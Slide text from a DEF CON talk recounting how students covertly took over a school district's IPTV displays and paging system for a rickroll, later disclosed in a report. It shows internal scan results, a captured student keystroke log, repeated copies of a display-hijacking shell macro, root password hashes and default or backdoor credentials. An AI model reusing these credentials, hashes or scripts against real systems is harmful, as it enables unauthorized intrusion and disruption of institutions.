The Big Rick: How I Rickrolled My High School District and Got Away With It

Minh Duong
@WhiteHoodHacker
DEF CON 30, August 13, 2022
Disclaimers!

- Raw script kiddie content ahead
- This is for educational purposes only
- Please don’t hack my school district
<table>
<thead>
<tr>
<th>IP</th>
<th>Ping</th>
<th>Hostname</th>
<th>Web detect</th>
<th>Ports</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.75.30.214</td>
<td>1áms</td>
<td>[n/a]</td>
<td>Allegro-Software-RomPager/3.12</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.75.30.221</td>
<td>1áms</td>
<td>[n/a]</td>
<td>Allegro-Software-RomPager/3.12</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.75.30.240</td>
<td>1áms</td>
<td>[n/a]</td>
<td>Allegro-Software-RomPager/3.12</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.75.30.243</td>
<td>1áms</td>
<td>[n/a]</td>
<td>Allegro-Software-RomPager/3.12</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.75.30.247</td>
<td>1áms</td>
<td>[n/a]</td>
<td>Allegro-Software-RomPager/3.12</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.75.30.253</td>
<td>1áms</td>
<td>[n/a]</td>
<td>Allegro-Software-RomPager/3.12</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.75.30.254</td>
<td>1áms</td>
<td>[n/a]</td>
<td>Allegro-Software-RomPager/3.12</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.75.12.24</td>
<td>0áms</td>
<td>[n/a]</td>
<td>Allegro-Software-RomPager/4.34</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.150.240</td>
<td>0áms</td>
<td>[n/a]</td>
<td>Apache/2.2.15 (CentOS)</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.25.7</td>
<td>0áms</td>
<td>[n/a]</td>
<td>Apache/2.2.22 (Ubuntu)</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.25.200</td>
<td>0áms</td>
<td>[n/a]</td>
<td>Apache/2.2.22 (Ubuntu)</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.60.1</td>
<td>0áms</td>
<td>d214.org</td>
<td>cisco-IOS</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.75.30.250</td>
<td>0áms</td>
<td>d214.org</td>
<td>cisco-IOS</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.8.75</td>
<td>0áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/10.0</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.6.15</td>
<td>0áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/7.5</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.6.27</td>
<td>0áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/7.5</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.6.56</td>
<td>0áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/7.5</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.6.65</td>
<td>0áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/7.5</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.8.43</td>
<td>0áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/7.5</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.76.3.12</td>
<td>1áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/7.5</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.76.5.13</td>
<td>2áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/7.5</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.76.5.60</td>
<td>1áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/7.5</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.76.24.73</td>
<td>3áms</td>
<td>d214.org</td>
<td>Microsoft-IIS/7.5</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.45.10</td>
<td>0áms</td>
<td>d214.org</td>
<td>Microsoft-WinCE/6.00</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.150.120</td>
<td>0áms</td>
<td>d214.org</td>
<td>nginx/1.12.1</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.13.94</td>
<td>0áms</td>
<td>d214.org</td>
<td>Type3</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.0.66</td>
<td>0áms</td>
<td>d214.org</td>
<td>Virata-EmWeb/R6_2_1</td>
<td>[n/s]</td>
</tr>
<tr>
<td>10.71.1.36</td>
<td>0áms</td>
<td>d214.org</td>
<td>Virata-EmWeb/R6_2_1</td>
<td>[n/s]</td>
</tr>
</tbody>
</table>
Generated by Angry IP Scanner 3.5.2
http://angryip.org

Scanned 10.70.0.0 - 10.79.255.255
Jan 12, 2018 1:06:00 PM

<table>
<thead>
<tr>
<th>IP</th>
<th>Ping</th>
<th>Hostname</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.75.30.214</td>
<td>láms</td>
<td>[n/a]</td>
</tr>
<tr>
<td>10.75.30.221</td>
<td>láms</td>
<td>[n/a]</td>
</tr>
<tr>
<td>10.75.30.240</td>
<td>láms</td>
<td>[n/a]</td>
</tr>
<tr>
<td>10.75.30.243</td>
<td>láms</td>
<td>[n/a]</td>
</tr>
<tr>
<td>10.75.30.247</td>
<td>láms</td>
<td>[n/a]</td>
</tr>
<tr>
<td>10.75.30.253</td>
<td>láms</td>
<td>[n/a]</td>
</tr>
<tr>
<td>10.75.30.254</td>
<td>láms</td>
<td>[n/a]</td>
</tr>
</tbody>
</table>

### Device Information

**Cisco Systems, Inc. IP Phone CP-7940G**

- **MAC Address**: [redacted]
- **Host Name**: [redacted]
- **Phone DN**: 5724
- **App Load ID**: P0030801SR02
- **Boot Load ID**: PC030801200
- **Version**: 8.1(SR2)
- **DSP**: 4.0(5.0)[AR]
- **Expansion Module 1**
- **Expansion Module 2**
- **Hardware Revision**: 4.5
- **Serial Number**: [redacted]
- **Model Number**: CP-7940G
- **Codec**: ADLCCodec
- **Amps**: SV Amp
- **C3P0 Revision**: 2
- **Message Waiting**: NO

### Network Configuration

- **Device Information**
- **Network Configuration**
- **Network Statistics**
  - **Ethernet**
  - **Port 1 (Network)**
  - **Port 2 (Access)**
  - **Port 3 (Phone)**
- **Device Logs**
  - **Debug Display**
  - **Stack Statistics**
- **Feature Information**
  - **App Load ID**
  - **Boot Load ID**
  - **Version**
  - **DSP**
  - **Expansion Module 1**
  - **Expansion Module 2**
  - **Hardware Revision**
  - **Serial Number**
  - **Model Number**
  - **Codec**
  - **Amps**
  - **C3P0 Revision**
  - **Message Waiting**

### System Information

- **IP Address**: 10.71.1.38
- **DNS**: [redacted]
- **Domain Name**: [redacted]
- **Host Name**: [redacted]
- **Operational Status**: [redacted]
- **Description**: [redacted]
IPTV System

- AvediaPlayer r9300 - receivers connected to projectors/displays
- AvediaStream e3635 - encoders that broadcast display video output as a network stream
- AvediaServer - easy and central management of linked products
IPTV System

- **AvediaPlayer r9300** - receivers connected to projectors/displays
- **AvediaStream e3635** - encoders that broadcast display video output as a network stream
- **AvediaServer** - easy and central management of linked products
Specify the receiver’s current playback settings, such as display mode, audio and subtitle details. Set the current channel by selecting a listed channel or entering a UDP or RTP stream.

**Display**
- Current Mode: AV

**Audio**
- Audio Volume: 38 [0..40]
- Mute Audio: off
- Current audio language: Track1

**Subtitles and Teletext**
- Subtitles/Captions: Off

**Apply**
IPTV System

- AvediaPlayer r9300 - receivers connected to projectors/displays
- AvediaStream e3635 - encoders that broadcast display video output as a network stream
- AvediaServer - easy and central management of linked products
IPTV System

- AvediaPlayer r9300 - receivers connected to projectors/displays
- AvediaStream e3635 - encoders that broadcast display video output as a network stream
- AvediaServer - easy and central management of linked products
Moving on to Senior Year

- Nothing happened in sophomore year
- COVID-19 pandemic in junior year
- Plan to transition from hybrid learning to a full in-person return in April of my senior year

- "Oh hey, I still have access to all those devices"
- "Oh hey, I should do a senior prank"
- "Oh hey, I should rickroll the entire school district"
- **Operation Big Rick begins**
Features of LanSchool Teacher

- Freeze a student computer to make it unusable
- Remotely view and control a student
- Upload arbitrary files
- Execute arbitrary files
- View keystroke history
Student Keystroke and Application History

Find:

Time: Wed Jan 22 12:05:22 2020
rier a[Right] free 3d models[Enter]

Application: chrome.exe
Time: Wed Jan 22 12:07:13 2020

Application: chrome.exe
Time: Wed Jan 22 12:07:15 2020

Application: Windscribe.exe
Time: Wed Jan 22 12:08:36 2020

Application: chrome.exe
Time: Wed Jan 22 12:08:39 2020
New Discoveries

• All Extery products run SSH!
• They let you open a shell!
• We can make a payload that runs commands locally!
macroMain() {
    # 10:55
    stepSetChannel "rtp://225.25.25.25:5000"
    sendRequest "$jsonSetHDMI"
    sendRequest "$jsonDisableInfrared"
    sendRequest "$jsonSerialPowerOn"
    # 10:55 - 10:58
    mainLoop 180
    # Switch to HDMI again - just in case
    sendRequest "$jsonSetHDMI"
    # 10:58 - 11:07
    mainLoop 540
    # 11:07
    stepRestoreBackup
    sendRequest "$jsonEnableInfrared"
}
macroMain() {
    # 10:55
    stepSetChannel "rtp://225.25.25.25:5000"
    sendRequest "$jsonSetHDMI"
    sendRequest "$jsonDisableInfrared"
    sendRequest "$jsonSerialPowerOn"
    # 10:55 - 10:58
    mainLoop 180
    # Switch to HDMI again - just in case
    sendRequest "$jsonSetHDMI"
    # 10:58 - 11:07
    mainLoop 540
    # 11:07
    stepRestoreBackup
    sendRequest "$jsonEnableInfrared"
}
macroMain() {

  # 10:55
  stepSetChannel "rtp://225.25.25.25:5000"
  sendRequest "$jsonSetHDMI"
  sendRequest "$jsonDisableInfrared"
  sendRequest "$jsonSerialPowerOn"

  # 10:55 - 10:58
  mainLoop 180

  # Switch to HDMI again - just in case
  sendRequest "$jsonSetHDMI"

  # 10:58 - 11:07
  mainLoop 540

  # 11:07
  stepRestoreBackup
  sendRequest "$jsonEnableInfrared"

  mainLoop() {

    secs=$1
    endTime=$(($time + secs))

    while [ $(date +%s) -lt $endTime ]; do
      sendRequest "$jsonMaxVolume"
      sendRequest "$jsonSerialPowerOn"
      sleep 10
    done

  }
}
macroMain() {
    # 10:55
    stepSetChannel "rtp://225.25.25.25:5000"
    sendRequest "$jsonSetHDMI"
    sendRequest "$jsonDisableInfrared"
    sendRequest "$jsonSerialPowerOn"
    # 10:55 - 10:58
    mainLoop 180
    # Switch to HDMI again - just in case
    sendRequest "$jsonSetHDMI"
    # 10:58 - 11:07
    mainLoop 540
    # 11:07
    stepRestoreBackup
    sendRequest "$jsonEnableInfrared"
}

mainLoop() {
    secs=$1
    endTime=$((( $(date +%s) + secs )))
    while [ $(date +%s) -lt $endTime ]; do
        sendRequest "$jsonMaxVolume"
        sendRequest "$jsonSerialPowerOn"
        sleep 10
    done
}

Disable infrared remotes
{mainLoop()} {
    secs=$1
    endTime=$(($(date +%s) + secs))
    while [ $(date +%s) -lt $endTime ]; do
        sendRequest "$jsonMaxVolume"
        sendRequest "$jsonSerialPowerOn"
        sleep 10
    done
}

macroMain() {
    # 10:55
    stepSetChannel "rtp://225.25.25.25:5000"
    sendRequest "$jsonSetHDMI"
    sendRequest "$jsonDisableInfrared"
    sendRequest "$jsonSerialPowerOn"
    # 10:55 - 10:58
    mainLoop 180
    # Switch to HDMI again - just in case
    sendRequest "$jsonSetHDMI"
    # 10:58 - 11:07
    mainLoop 540
    # 11:07
    stepRestoreBackup
    sendRequest "$jsonEnableInfrared"
}
macroMain() {
    # 10:55
    stepSetChannel "rtp://225.25.25.25:5000"
    sendRequest "$jsonSetHDMI"
    sendRequest "$jsonDisableInfrared"
    sendRequest "$jsonSerialPowerOn"
    # 10:55 - 10:58
    mainLoop 180
    # Switch to HDMI again - just in case
    sendRequest "$jsonSetHDMI"
    # 10:58 - 11:07
    mainLoop 540
    # 11:07
    stepRestoreBackup
    sendRequest "$jsonEnableInfrared"
}

mainLoop() {
    secs=$1
    endTime=$(($1 + $(date +%s)))
    while [ $(date +%s) -lt $endTime ]; do
        sendRequest "$jsonMaxVolume"
        sendRequest "$jsonSerialPowerOn"
        sleep 10
    done
}

Loop “max volume” and “power on”
macroMain() {
    # 10:55
    stepSetChannel "rtp://225.25.25.25:5000"
    sendRequest "$jsonSetHDMI"
    sendRequest "$jsonDisableInfrared"
    sendRequest "$jsonSerialPowerOn"
    # 10:55 - 10:58
    mainLoop 180
    # Switch to HDMI again - just in case
    sendRequest "$jsonSetHDMI"
    # 10:58 - 11:07
    mainLoop 540
    # 11:07
    stepRestoreBackup
    sendRequest "$jsonEnableInfrared"
}

mainLoop() {
    secs=$1
    endTime=$(( ($(date +%s) + secs ) ))
    while [ $(date +%s) -lt $endTime ]; do
        sendRequest "$jsonMaxVolume"
        sendRequest "$jsonSerialPowerOn"
        sleep 10
    done
}

Set to HDMI (again)
macroMain() {
# 10:55
stepSetChannel "rtp://225.25.25.25:5000"
sendRequest "$jsonSetHDMI"
sendRequest "$jsonDisableInfrared"
sendRequest "$jsonSerialPowerOn"
# 10:55 - 10:58
mainLoop 180
# Switch to HDMI again - just in case
sendRequest "$jsonSetHDMI"
# 10:58 - 11:07
mainLoop 540
# 11:07
sendRestoreBackup
sendRequest "$jsonEnableInfrared"
}

mainLoop() {
secs=$1
endTime=$(($(date +%s) + secs))
while [ $(date +%s) -lt $endTime ]; do
    sendRequest "$jsonMaxVolume"
    sendRequest "$jsonSerialPowerOn"
sleep 10
done
}

Loop “max volume” and “power on”
macroMain() {
    # 10:55
    stepSetChannel "rtp://225.25.25.25:5000"
    sendRequest "jsonSetHDMI"
    sendRequest "jsonDisableInfrared"
    sendRequest "jsonSerialPowerOn"
    # 10:55 - 10:58
    mainLoop 180
    # Switch to HDMI again - just in case
    sendRequest "jsonSetHDMI"
    # 10:58 - 11:07
    mainLoop 540
    # 11:07
    stepRestoreBackup
    sendRequest "jsonEnableInfrared"
}

mainLoop() {
    secs=$1
    endTime=$(( $(date +%s) + secs ))
    while [ $(date +%s) -lt $endTime ]; do
        sendRequest "jsonMaxVolume"
        sendRequest "jsonSetHDMI"
        sleep 10
        done
}

Restore previous channel
Re-enable infrared
Pivoting and Script Distribution

• We maintained a pivot of at least three AvediaPlayers before connecting to the AvediaServer

• From the AvediaServer, we slowly distributed the script to all of the AvediaPlayers that we identified
AvediaPlayer/Stream Priv Esc
AvediaPlayer/Stream Priv Esc

**Maintenance**

Perform maintenance functions, such as updating firmware, restarting the receiver or returning it to factory default settings.

- **TFTP Server:** 172.16.0.32
- **Time Server:** (default)
- **Timezone Region:** US
- **Timezone City:** Central
- **SNMP Trap Manager:** (default)

**Firmware filename:** r93xx.signed.enc
- **Upgrade firmware**

**Export filename:** receiver-config
- **Export configuration**

**Import filename:** (default)
- **Import configuration**

**Reboot Receiver**
Root Hashes

AvediaPlayer:
root:$1$O1/JPE3s$tCMMA6hBT19iyMj/pVw5o1:16514:0:99999:7:::

AvediaStream:
root:SULKuLtqaI/3c:0:0:root:/root:/bin/ash
Go Time!

- Date and time picked for April 30th, 2021, to maximize viewership and minimize disruptions
- We had plenty of time to prepare, test, and stage
- We're ready!
- But at the last minute... we found something new
The EPIC System

- **Education Paging and Intercom Communications**
- **Hallways and classroom speakers**
- **EPIC server**
  - Activate alarms/drills: fire, tornadoes, lockdowns
  - Create and manage bell schedules
- **Upload custom audio for bells (˘▾˘)**
April 27th, 2021

• 3 days before the Big Rick
• We discover the IP ranges for the speakers!
• Default passwords didn’t work :(
WhiteHoodHacker

btw I just downloaded the b1gr1ck payload to 100/106 in the 1st out of 5 parts for targets

Shapes

nice

00:01 damn it I really hoped we could get the PA system too

Shapes

00:06 I GOT THE PASSWORD TO THE PA SYSTEM

WhiteHoodHacker

00:07 WHAT
Add in the appropriate settings (see separate device specific guides for in depth information on each device. The name should be RoomNumber+MS450/250 depending on the device. Driver name is “ms250” or “ms450.” Enter the IP of the new device and the username/password as below. TCP control port 12302, Serial GW TCP Port 12303. Check “SIP Enabled” and enter the extension (generally should mirror the room number where possible), check “Speaker Enabled” and enter streaming port 4444. Click “Submit.” Any added device will need to be added to a room and zone to receive bells/paging.

If SAFE is enabled, the XD or TLD Enabled button should be checked based on the appropriate device for the school. If using XD, the XD receiver ID must be specified as well. Click “Check Receiver ID” to

---

**Fig. 25**

- **Device Name**: NewMs450
- **Driver Name**: ms450
- **IP/URL**: 10.171.80.220
- **Username**: admin
- **Password**: Control1
- **TCP Control Port**: 12302
- **Serial GW TCP Port**: 12303
- **Extension**: 1231
- **Streaming Port**: 4444

---

**Fig. 24**

- **Device Name**: NewMs450
- **Driver Name**: ms450
- **IP/URL**: 10.171.80.220
- **Username**: admin
- **Password**: Control1

Frequency: Daily
Backup Location: //...Backup
Example: //127.0.0.1/Backup
User Name: schooladmin
Password: ********
$ ls -la
total 2384
-drwxr-xr-x 4 root root  4096 Apr 29 15:00 .
-drwxr-xr-x 3 root root  4096 Apr 29 15:01 ..
-drwxr-xr-x 3 root root  4096 Apr 29 15:00 config
-rw-r-xr-x 1 root root  10032 Apr 29 15:00 config.txt
-rw-r-xr-x 1 root root  10235 Apr 29 15:00 config_template.txt
-rw-r-xr-x 1 root root  26989 Apr 29 15:00 device-sip.txt
-rw-r-xr-x 1 root root 2323081 Apr 29 15:00 epicsystemdump.sql
-rw-r-xr-x 1 root root   208 Apr 29 15:00 extconfig.txt
-rw-r-xr-x 1 root root  1330 Apr 29 15:00 extensions.txt
-rw-r-xr-x 1 root root   369 Apr 29 15:00 http.txt
-rw-r-xr-x 1 root root    0 Apr 29 15:00 index.txt
-rw-r-xr-x 1 root root   423 Apr 29 15:00 manager.txt
-rw-r-xr-x 1 root root   39 Apr 29 15:00 pins.txt
-drwxr-xr-x 3 root root  4096 Apr 29 15:00 public
-rw-r-xr-x 1 root root   263 Apr 29 15:00 res_config_mysql.txt
-rw-r-xr-x 1 root root   212 Apr 29 15:00 rtp.txt
-rw-r-xr-x 1 root root   5812 Apr 29 15:00 sip.txt
-rw-r-xr-x 1 root root   5143 Apr 29 15:00 zone-extensions.txt
$ ls -la
total 2384
drwxr-xr-x 4 root root  4096 Apr 29 15:00 .
drwxr-xr-x 3 root root  4096 Apr 29 15:01 ..
drwxr-xr-x 3 root root  4096 Apr 29 15:00 config
-rwxr-xr-x 1 root root  10032 Apr 29 15:00 config.txt
-rwxr-xr-x 1 root root  10235 Apr 29 15:00 config_template.txt
-rwxr-xr-x 1 root root  26989 Apr 29 15:00 device-sip.txt
-rwxr-xr-x 1 root root 2323081 Apr 29 15:00 epicsystemdump.sql
-rwxr-xr-x 1 root root   208 Apr 29 15:00 extconfig.txt
-rwxr-xr-x 1 root root  1330 Apr 29 15:00 extensions.txt
-rwxr-xr-x 1 root root   369 Apr 29 15:00 http.txt
-rwxr-xr-x 1 root root     0 Apr 29 15:00 index.txt
-rwxr-xr-x 1 root root   423 Apr 29 15:00 manager.txt
-rwxr-xr-x 1 root root   39 Apr 29 15:00 pins.txt
-drwxr-xr-x 3 root root  4096 Apr 29 15:00 public
-rwxr-xr-x 1 root root   263 Apr 29 15:00 res_config_mysql.txt
-rwxr-xr-x 1 root root   212 Apr 29 15:00 rtp.txt
-rwxr-xr-x 1 root root   5812 Apr 29 15:00 sip.txt
-rwxr-xr-x 1 root root   5143 Apr 29 15:00 zone-extensions.txt
It's a backdoor account!
Username: district
Password: password
And that’s how we **EPICLY** pwned all the EPIC servers!

All done in less than a day and the day before the Big Rick!
Uploading rick.wav to the list of bells >:)

- Musical scale
  - bell
  - 0:00 / 3:32

- Musical scale
  - bell
  - 0:00 / 0:08

- No Student Day
- Block Days
- Block Days W
- Better Music
- Block Days W
- Exclusions
- Block Days W
- Music

rickroll schedule ->

normal schedule ->
Please standby for an important announcement

00:13:37
This was not an isolated senior prank; The entirety of District 214 was rick rolled using over 500 hacked displays.

Good luck on AP and final exams! Congrats to the Class of 2021! #D214RickRoll

The TV will reset momentarily. Please be patient.
The Aftermath

- We documented everything in a 26-page penetration test report
- The report was emailed to all the technical supervisors after the rickrolls were complete
- We did this anonymously

### TABLE OF CONTENTS

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Introduction</td>
<td>3</td>
</tr>
<tr>
<td>1.1 Purpose</td>
<td>3</td>
</tr>
<tr>
<td>1.2 Objective</td>
<td>3</td>
</tr>
<tr>
<td>1.3 Guidelines</td>
<td>3</td>
</tr>
<tr>
<td>2. High-Level Summary</td>
<td>4</td>
</tr>
<tr>
<td>2.1 Scope</td>
<td>4</td>
</tr>
<tr>
<td>2.2 Timeline of Events</td>
<td>4</td>
</tr>
<tr>
<td>2.3 Recommendations</td>
<td>4</td>
</tr>
<tr>
<td>3. Methodologies</td>
<td>5</td>
</tr>
<tr>
<td>3.1 Enumeration</td>
<td>5</td>
</tr>
<tr>
<td>3.1.1 Host Discovery</td>
<td>5</td>
</tr>
<tr>
<td>3.1.2 Service Scanning</td>
<td>12</td>
</tr>
<tr>
<td>3.2 Penetration</td>
<td>13</td>
</tr>
<tr>
<td>3.2.1 AvediaPlayer r9300 and AvediaStream e3635</td>
<td>13</td>
</tr>
<tr>
<td>3.2.2 AvediaServer m7305</td>
<td>14</td>
</tr>
<tr>
<td>3.2.3 EPIC System</td>
<td>15</td>
</tr>
<tr>
<td>4. The Big Rick</td>
<td>18</td>
</tr>
<tr>
<td>4.1 Calculation</td>
<td>18</td>
</tr>
<tr>
<td>4.2 Preparation</td>
<td>18</td>
</tr>
<tr>
<td>4.3 Execution</td>
<td>19</td>
</tr>
<tr>
<td>Appendices</td>
<td></td>
</tr>
<tr>
<td>A. AvediaPayload</td>
<td>20</td>
</tr>
<tr>
<td>B. AvediaServer Command and Control</td>
<td>24</td>
</tr>
</tbody>
</table>
Good Morning Big Rick Engineers,

My name is [name] and I am the Director of Technology for D214. I wanted to connect with your team and thank you for such a well throughout and through white-hat hack. Our Tech team is very impressed with your documentation and appreciates your help in securing our network.

I have been in contact with the buildings, and because of your strict guidelines and openness to share the information, we will not be pursuing discipline. In fact, I would like to see if your team would be willing to schedule a time to debrief the hack and hear other suggestions.

Would you be willing to join me on a Zoom call in the near future?

Looking forward to hearing from you,
Lessons Learned

1. Always maintain a pivot
2. Check your network scans carefully
3. Try to keep things as tame as possible - no unnecessary things that could cause trouble
4. Document everything to protect yourself
Thank You!

- My Big Rick accomplices: Shapes, Jimmy, and Green
- Mr. Drenth, for being the best IT teacher ever
- SIGPwny and friends, for encouraging and helping me prepare
- My district, for letting me graduate and not pressing charges

Website: whitehoodhacker.net
Twitter: @WhiteHoodHacker